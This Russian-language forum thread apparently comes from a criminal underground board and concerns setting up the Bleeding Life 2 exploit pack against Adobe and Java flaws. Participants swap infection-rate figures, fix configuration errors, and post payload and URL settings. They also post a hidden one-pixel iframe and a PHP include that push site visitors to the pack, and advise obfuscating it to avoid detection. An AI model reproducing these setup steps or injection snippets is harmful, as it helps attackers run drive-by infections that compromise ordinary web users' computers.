Exploit Pack Bleeding Life 2

​

Exploits
Adobe
CVE-2008-2992
CVE-2010-1297
CVE-2010-2884
CVE-2010-0188
Java
CVE-2010-0842
CVE-2010-3552
Signed Applet

Официальный сайт

Скачать

P.S. Пока не тестил так что не могу сказать какой % пробива.

 

Неплохие сплойты. Этот сплойтпак лучше, чем Blackhole?

 

если речь идет о покупке свежой версии, то БХ - самая лучшая.

 

И как им пользоваться ?
Инструкцию хотя бы выложили бы

 

Vocm,
ты на т9 пишешь?

 

mg-el, он иностранец

 

куда файл заливать для запуска? пробив есть файл не запускается. ни exe ни rar

 

Все спасибо.Разобрался. все правильно настроил, связка плохо сохраняет для Вин 7 (права должны быть включенными)

стата показывает 8% но отстук ботов- малый.

нужно джаву редактировать а некому. найти спеца сложно

 

Что-то статистика не работает вообще. Печаль.

 

logdogaway,
опиши проблему.
недавно поставил BL на сервер с десятком ошибок, но статистика пошла как по маслу.
после этого я думаю что BL бессмертен

 

Залил я связку на хост, установилась, все ок.
Но, во-первых непонятнен линк на трафф. В фаге сказано, что лить на индексную, но там выдается ошибка.
Во-вторых статистика заходов не отображается в панельке. Наверное, второе вытекает из первого, но в чем проблема не понимаю.

Добавлено через 3 минуты

Кстати, не в курсах случайно почему упал пробив на БХ примерно вполовину? Никто ничего вразмительного по этому поводу не говорит.

 

самое главное чекай конфиг. правильно ли ты его расставил.
линк зараженный находится тут: http://site.com/BL/index.php
туда и направляешь трафф
в панельке 0? значит проверяй либо свой трафф, либо вышеописанное
про БХ не знаю, вроде не актуален уже говорят из паблика.

 

Ааа, понятно я-то на индексную запускал там выдавало вот такую некрасивую ошибку: Error: Database table doesn't exist. Run install.php from the directory. Спс.

БХ не паблик у меня и вот такая печаль. Потому-то я и стал искать алтернативные варианты. На БХ трафик льется практически впустую с пробивом 3%.

 

поверь 3% - не фигня)
сейчас лью iframe на главный хост с трех сайтов. пробив 4-5% с тысячи.
думал почему так? потом посмотрел на ОС и увидел что 70% windows 7 с которым связка не дружит особо. Растет майкрософтское отродье). Если считать что БЛ самое паблик из пабликов, то мой пробив вполне нормальный

 

Да уж..После пробива в 10-12% это просто кошкины слезы.
Что пробив упал связано наверное с обновлениями Явы последними. Они не защищают, а просто криво работают.

А у меня наоборот трафф идет больше половины почему-то Сафари. И маки. Где они берут такой трафф я хз, но пробив сильно упал. это факт.

 

Залил вроде все верно, пишет:

The website cannot display the page
HTTP 500

Отсюда вопрос. В конфиге вроде все верно прописал.
Индексную страницу добавлять из сборки на хост в папку BL?

//payload_filename: the filename of your payload.
$payload_filename = 'http://wwww.com/attachment/www.exe';

Это полный путь до подгружаемого файла. Это понял.

//config_url: the url to where your pack is located. This is very important. Please make sure it includes the http://
$config_url = 'http://www.com';

Это папка где находится связка, то есть полный путь до нее. Она у меня в корне сервера лежит и что писать в этом случае не совсем понял.

Спс.

 

во первых payload не тот.
грузишь файл в папку с BL и в кавычки просто пишешь xxx.exe
во вторых на главную как бэ ну не желательно заливать индекс если у тебя сайт а не хост. А так все правильно как я выше писал

только убираешь /index.php

 

Правильный конфиг для дибилов

где "upload" - это папка с эксплойтпаком, бл должна быть как папка в каком либо сайте (если Вы не хотите ее спалить за 1-2 дня)
$payload_filename должна содержать только имя файла, если пишешь полный путь к нему то смотри что будет грузиться - http://mysite.ru/upload/http://mysite.ru/upload/load.exe нормуль?

фрейм ставим локальный для mysite или криптуем (предварительно надо обфуцировать и связку, самая трабла там с ява сплойтом)

 

Спасибо!
Но.. Залил связку на сайт в UPLOAD. Ошибка та же. Error: Database table doesn't exist. Run install.php from the directory. В Мозилле.

Даже самому стало интересно в чем тут прикол? Какой будет линк на трафф в этом случае?

Добавлено через 3 минуты

Хоть с индексом хоть без индекса все равно эту ошибку выдает. Это в Мозилле. Но мб она ее просто не бьет?

Error: Database table doesn't exist. Run install.php from the directory.

Добавлено через 8 минут

У БХ такая же ошибка что и у этой связки когда загружаю страницу в ИЕ выдает ошибку: res://ieframe.dll/acr_depnx_error.htm#. Объясните плз, поподробнее, что такое локальный ифрейм? И куда его пихать. Спс.

 

нет таблицы в БД. проверь настройки конекта к БД, проверь выполнил ли ты скрипт install.php

под локальным я имел ввиду фрейм параметр SRC которого содержит локальный путь (SRC="/upload/"). пихать его надо в index.html. для index.php надо просто подгрущить связку.

index.html - <IFRAME SRC="http://mysite.ru/upload/index.php" WIDTH=1 HEIGHT=1></IFRAME>
index.php - include("http://mysite.ru/upload/index.php"); или include_once или как-то подругому например через яваскрипт